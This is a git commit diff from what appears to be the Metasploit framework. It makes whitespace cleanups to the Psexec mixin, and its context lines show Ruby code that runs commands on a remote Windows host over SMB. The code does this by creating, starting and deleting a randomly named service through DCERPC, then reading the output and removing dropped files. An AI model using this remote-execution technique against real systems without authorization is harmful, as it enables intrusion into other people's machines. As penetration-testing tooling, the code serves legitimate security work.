Cleaned up some code spacing

bug/bundler_fix
Royce Davis 2013-01-22 09:49:03 -06:00
parent a2f66a8fef
commit 81625121f2
1 changed files with 4 additions and 14 deletions

View File

@ -13,6 +13,7 @@ module Exploit::Remote::Psexec
include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB
# Retrives output from the executed command # Retrives output from the executed command
# @param smbshare [String] The SMBshare to connect to. Usually C$ # @param smbshare [String] The SMBshare to connect to. Usually C$
# @param ip [IP Address] Remote Host to Connect To # @param ip [IP Address] Remote Host to Connect To
@ -21,7 +22,6 @@ module Exploit::Remote::Psexec
# @return output or nil if fails # @return output or nil if fails
def get_output(smbshare, ip, file) def get_output(smbshare, ip, file)
begin begin
print_status("Getting the command output...")
simple.connect("\\\\#{ip}\\#{smbshare}") simple.connect("\\\\#{ip}\\#{smbshare}")
outfile = simple.open(file, 'ro') outfile = simple.open(file, 'ro')
output = outfile.read output = outfile.read
@ -42,14 +42,11 @@ module Exploit::Remote::Psexec
# @param command [String] Should be a valid windows command # @param command [String] Should be a valid windows command
# @return true if everything wen't well # @return true if everything wen't well
def psexec(command) def psexec(command)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$") simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
vprint_status("#{peer} - Binding to #{handle} ...") vprint_status("#{peer} - Binding to #{handle} ...")
dcerpc_bind(handle) dcerpc_bind(handle)
vprint_status("#{peer} - Bound to #{handle} ...") vprint_status("#{peer} - Bound to #{handle} ...")
vprint_status("#{peer} - Obtaining a service manager handle...") vprint_status("#{peer} - Obtaining a service manager handle...")
scm_handle = nil scm_handle = nil
stubdata = stubdata =
@ -63,16 +60,13 @@ module Exploit::Remote::Psexec
print_error("#{peer} - Error: #{e}") print_error("#{peer} - Error: #{e}")
return false return false
end end
servicename = Rex::Text.rand_text_alpha(11) servicename = Rex::Text.rand_text_alpha(11)
displayname = Rex::Text.rand_text_alpha(16) displayname = Rex::Text.rand_text_alpha(16)
holdhandle = scm_handle holdhandle = scm_handle
svc_handle = nil svc_handle = nil
svc_status = nil svc_status = nil
stubdata = stubdata =
scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) +
NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand NDR.long(0x00000003) + # Start: Demand
@ -96,18 +90,15 @@ module Exploit::Remote::Psexec
print_error("#{peer} - Error: #{e}") print_error("#{peer} - Error: #{e}")
return false return false
end end
vprint_status("#{peer} - Closing service handle...") vprint_status("#{peer} - Closing service handle...")
begin begin
response = dcerpc.call(0x0, svc_handle) response = dcerpc.call(0x0, svc_handle)
rescue ::Exception rescue ::Exception
end end
vprint_status("#{peer} - Opening service...") vprint_status("#{peer} - Opening service...")
begin begin
stubdata = stubdata =
scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata) response = dcerpc.call(0x10, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
svc_handle = dcerpc.last_response.stub_data[0,20] svc_handle = dcerpc.last_response.stub_data[0,20]
@ -116,7 +107,6 @@ module Exploit::Remote::Psexec
print_error("#{peer} - Error: #{e}") print_error("#{peer} - Error: #{e}")
return false return false
end end
vprint_status("#{peer} - Starting the service...") vprint_status("#{peer} - Starting the service...")
stubdata = stubdata =
svc_handle + NDR.long(0) + NDR.long(0) svc_handle + NDR.long(0) + NDR.long(0)
@ -128,7 +118,6 @@ module Exploit::Remote::Psexec
print_error("#{peer} - Error: #{e}") print_error("#{peer} - Error: #{e}")
return false return false
end end
vprint_status("#{peer} - Removing the service...") vprint_status("#{peer} - Removing the service...")
stubdata = stubdata =
svc_handle svc_handle
@ -139,19 +128,18 @@ module Exploit::Remote::Psexec
rescue ::Exception => e rescue ::Exception => e
print_error("#{peer} - Error: #{e}") print_error("#{peer} - Error: #{e}")
end end
vprint_status("#{peer} - Closing service handle...") vprint_status("#{peer} - Closing service handle...")
begin begin
response = dcerpc.call(0x0, svc_handle) response = dcerpc.call(0x0, svc_handle)
rescue ::Exception => e rescue ::Exception => e
print_error("#{peer} - Error: #{e}") print_error("#{peer} - Error: #{e}")
end end
select(nil, nil, nil, 1.0) select(nil, nil, nil, 1.0)
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
return true return true
end end
# This method is called by file_dropper to remove files droped # This method is called by file_dropper to remove files droped
# By your module # By your module
# #
@ -166,6 +154,7 @@ module Exploit::Remote::Psexec
psexec(delete) psexec(delete)
end end
# This method stores files in an Instance array # This method stores files in an Instance array
# The files are then deleted from the remote host once # The files are then deleted from the remote host once
# the cleanup_after method is called # the cleanup_after method is called
@ -178,6 +167,7 @@ module Exploit::Remote::Psexec
@dropped_files += file @dropped_files += file
end end
# This method removes any files that were dropped on the remote system # This method removes any files that were dropped on the remote system
# and marked with the register_file_for_cleanup method # and marked with the register_file_for_cleanup method
def cleanup_after def cleanup_after